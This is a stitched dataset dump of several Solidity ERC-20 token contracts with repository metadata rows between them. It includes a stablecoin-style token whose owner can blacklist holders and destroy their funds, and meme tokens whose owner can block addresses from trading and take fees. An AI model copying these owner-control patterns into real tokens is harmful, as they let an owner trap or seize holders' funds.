function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract VXLDollar is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function VXLDollar(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 288,833 | 14,181 |
6bd1b480d94f784c6e5a6b855bd4addb67ed7154795498e7aab2ee4980668a84
| 14,501 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/008677b77fb913861f5dd8bac73b61cf25174007.sol
| 3,870 | 13,743 |
pragma solidity 0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ChrisGardnerInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Chris Gardner Inu";
string private constant _symbol = "CGI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xe30BD2F48933A413aA047B2A0BfF360dE5e60657);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10**9;
_maxWalletSize = 40000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 344,309 | 14,182 |
18ae070c45151a57d603fbefb28d26869e993075f4d2681a607044c1049ced28
| 17,447 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/25/256a01F5Fa11CcCa4AfcC03a8cFA2Bc317a9aEa2_TestToken.sol
| 2,811 | 11,502 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TestToken is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 private _totalSupply = 1*10**(9+18);
string private _name = "Test Token";
string private _symbol = "TTOKE";
uint8 private _decimals = 18;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor() {
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
}
receive() external payable{
}
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
function getOwner() external override view returns (address){
return owner();
}
function decimals() external override view returns (uint8){
return _decimals;
}
function symbol() external override view returns (string memory) {
return _symbol;
}
function name() external override view returns (string memory) {
return _name;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address _from, address _to, uint256 _amount) internal {
require(_from != address(0), "ERC20: transfer from the zero address");
require(_to != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[_from];
require(senderBalance >= _amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[_from] = senderBalance - _amount;
}
_balances[_to] += _amount;
emit Transfer(_from, _to, _amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function recover() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
}
| 128,928 | 14,183 |
f92d35deaa078fd11f70ff5a1f5151a64d8604f35c9df2bd1bb027ce81d6e2f5
| 16,513 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/19/19db57bf90689906f287b27910857ae580c0b3a0_FlokiKing.sol
| 3,936 | 15,645 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FlokiKing is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
